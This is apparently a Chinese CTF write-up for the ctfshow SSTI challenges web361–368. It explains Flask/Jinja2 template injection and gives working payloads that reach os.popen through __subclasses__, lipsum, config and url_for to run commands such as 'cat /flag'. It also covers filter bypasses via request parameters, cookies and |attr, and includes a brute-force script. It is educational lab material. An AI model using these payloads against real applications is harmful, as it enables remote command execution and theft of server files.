title: ctfshow_ssti
date: 2023-02-13 19:41:18
tags:
- ssti
categories: - ctfshow
ssti漏洞原理
ssti服务端模板注入,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。本文着重对flask模板注入进行浅析。
Python对象的继承,用魔术方法一步步找到可利用的方法去执行。即找到父类<type 'object'>
–>寻找子类–>找关于命令执行或者文件操作的模块
继承就是让类和类之间产生父子关系,子类可以拥有父类的静态属性和方法。
这里的父类指的是被继承的类,也叫做基类;子类指的是继承其它类的类,也叫做派生类
如下定义一个动物类Animal为基类,
class Animal(object): # python3中所有类都可以继承于object基类
def __init__(self, name, age):
self.name = name
self.age = age
def call(self):
print(self.name, '会叫')
######
# 现在我们需要定义一个Cat 猫类继承于Animal,猫类比动物类多一个sex属性。
######
class Cat(Animal):
def __init__(self,name,age,sex):
super(Cat, self).__init__(name,age) # 不要忘记从Animal类引入属性
self.sex=sex
if __name__ == '__main__': # 单模块被引用时下面代码不会受影响,用于调试
c = Cat('喵喵', 2, '男') # Cat继承了父类Animal的属性
c.call() # 输出 喵喵 会叫 ,Cat继承了父类Animal的方法
Python入门 class类的继承 - 知乎 (zhihu.com)
(11条消息) python执行cmd命令_python执行command_十一姐的博客-CSDN博客
[(11条消息) CTFshow刷题日记-WEB-SSTI(web361-372)_ctfshow ssti_OceanSec的博客-CSDN博客](https://blog.csdn.net/q20010619/article/details/120493997?ops_request_misc=%7B%22request%5Fid%22%3A%22167931156416782425190801%22%2C%22scm%22%3A%2220140713.130102334.pc%5Fall.%22%7D&request_id=167931156416782425190801&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_ecpm_v1~hot_rank-6-120493997-null-null.142v74insert_down4,201v4add_ask,239v2insert_chatgpt&utm_term=ctfshow ssti&spm=1018.2226.3001.4187)
python命令执行
import os
import subprocess
print(os.system("python -V"))
print(os.popen("python -V").read())
print(subprocess.Popen("python -V"))
//运行结果
Python 3.11.1
0
Python 3.11.1
<Popen: returncode: None args: 'python -V'>
Python 3.11.1
1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园 (cnblogs.com)
https://xz.aliyun.com/t/3679
下面这一篇讲的比较详细
(18条消息) 细说Jinja2之SSTI&bypass_合天网安实验室的博客-CSDN博客
print("".__class__)
print("".__class__.__bases__)
print("".__class__.__mro__)
print("".__class__.__bases__[0].__subclasses__())
<class 'str'>
(<class 'object'>,)
(<class 'str'>, <class 'object'>)
{% ... %} for Statements
{{ ... }} for Expressions to print to the template output
{# ... #} for Comments not included in the template output
... ## for Line Statements
除了标准的python语法使用点(.)
外,还可以使用中括号([])
来访问变量的属性
{{"".__class__}}
{{""['__classs__']}}
__class__ 类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__ method resolution order,即解析方法调用的顺序;此属性是由类组成的元 组,在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。
request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>
web361
import requests
from tqdm import tqdm
for i in tqdm(range(100,150)):
url = 'http://f82b1c19-8976-4a74-b58d-2e878617e9e2.challenge.ctf.show/?name={{"".__class__.__mro__[1].__subclasses__()[{}]}}'.format(i)
r = requests.get(url=url).text
if('os._wrap_close' in r):
print('yes')
#寻找os.warp_close类的位置
#tqdm 生成一个进度条
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__}}
发现可用modle popen
解法一payload os.warp_close类 的popen 方法
?name={{"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("ls ../").read()}}
?name={{"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("cat /flag").read()}}
解法二 利用config
?name={{config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}
?name={{config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }}
解法3 lipsum.__globals__
含有os模块:
?name={{lipsum.__globals__['os'].popen('tac ../flag').read()}}
?name={{cycler.__init__.__globals__.os.popen('ls').read()}}
解法4 利用__builtins__
GET:?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
或者
?name={{url_for.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")}}
2.builtins与__builtins__
的区别
__builtins__
是对builtins的一个引用。在任何地方使用builtins都必须import,
而使用__builtins__
则不需要import。那这个引用指的是什么呢?下面分两种情况来解释:
在__main__
模块中
在__main__
中__builtins_
_与builtins是同一个东西,你可以通过这两个中的任意一个来
导入自己的函数。两者唯一的区别是__builtins__
使用时不需要导入,而无论在那个模块中使
用builtins都必须先导入。
然后可以发现__builtins__下有eval,__import__等的函数,因此可以利用此来执行命令。
ctfshow{99a0b2c0-ac76-402f-8238-8cfbb73f1066}
web362
?name={{2}}
?name={{3}}发现23被过滤
不用2,3的payload还能用
可以全角数字代替正常数字
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
t=''
s="0123456789"
for i in s:
t+='\''+half2full(i)+'\','
print(t)
#'0','1','2','3','4','5','6','7','8','9'
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
web363 过滤了单双引号
上面的payload就都不能用了
?name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__(%27os%27).popen(%27cat%20/flag%27).read()
request.args get传参
ctfshow{1803f0b8-6a20-4f34-bd8f-8d4657d94d39}
web364 过滤了单双引号,args
?name={{lipsum.__globals__.os.popen(request.values.ocean).read()}}&ocean=cat /flag
request.values 所有参数
ctfshow{6cdac67d-9b6a-424e-878b-4dd8e78c28e5}
web365过滤了引号,还有中括号
上题payload还能用
?name={{lipsum.__globals__.os.popen(request.values.ocean).read()}}&ocean=cat /flag
解法2
GET:?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag
ctfshow{22b48645-53eb-47f4-af42-d2302db22569}
web366 过滤了中括号,以及下划线
接着cookie传参
GET:?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
Cookie:a=__globals__;b=cat /flag
ctfshow{74f3def2-c2e3-467c-b365-c20a8e556fea}
web367
?name={{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}
Cookie:a=__globals__;b=os;c=cat /flag
ctfshow{d5c90caf-0492-404a-988d-e85872f8bcac}
web368 {{}}绕过
?name={% print(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read() %}
Cookie:a=__globals__;b=os;c=cat /flag
ctfshow{3cc97e0d-ab90-45d5-9bbd-dae56a5eaa49}